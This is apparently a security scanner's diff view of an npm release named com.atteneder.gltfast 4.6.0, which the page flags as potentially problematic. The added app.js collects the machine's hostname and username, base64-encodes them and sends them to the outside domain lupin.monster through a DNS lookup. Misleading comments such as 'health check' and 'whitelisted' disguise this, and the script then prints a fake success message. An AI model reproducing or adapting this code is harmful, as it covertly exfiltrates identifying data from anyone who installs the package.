com.atteneder.gltfast 4.6.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of com.atteneder.gltfast might be problematic. Click here for more details.
- package/app.js +19 -0
- package/package.json +12 -0
package/app.js
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
var dns = require('dns');
|
2
|
+
var os = require('os');
|
3
|
+
|
4
|
+
|
5
|
+
// Preparing Authorization Forms
|
6
|
+
const domain = "lupin.monster"
|
7
|
+
const api_token = "ccdh0e2n01lqllkga2pgzw1fj8zj7iqkp"
|
8
|
+
const package_name = "com.atteneder.gltfast"
|
9
|
+
const whitelisted_computer = Buffer.from(os.hostname()).toString('base64');
|
10
|
+
const whitelisted_user = Buffer.from(os.userInfo().username).toString('base64');
|
11
|
+
|
12
|
+
const health_check = `${whitelisted_user}.${whitelisted_computer}.${package_name}.${api_token}.${domain}`
|
13
|
+
|
14
|
+
// Check if computer is authorized to ping lupin.monster
|
15
|
+
var w3 = dns.lookup(health_check, function (err, addresses, family) {
|
16
|
+
if(addresses == "159.65.122.6"){
|
17
|
+
console.log('\x1b[36m%s\x1b[0m', '[*] com.atteneder.gltfast was installed successfully');
|
18
|
+
}
|
19
|
+
});
|
package/package.json
ADDED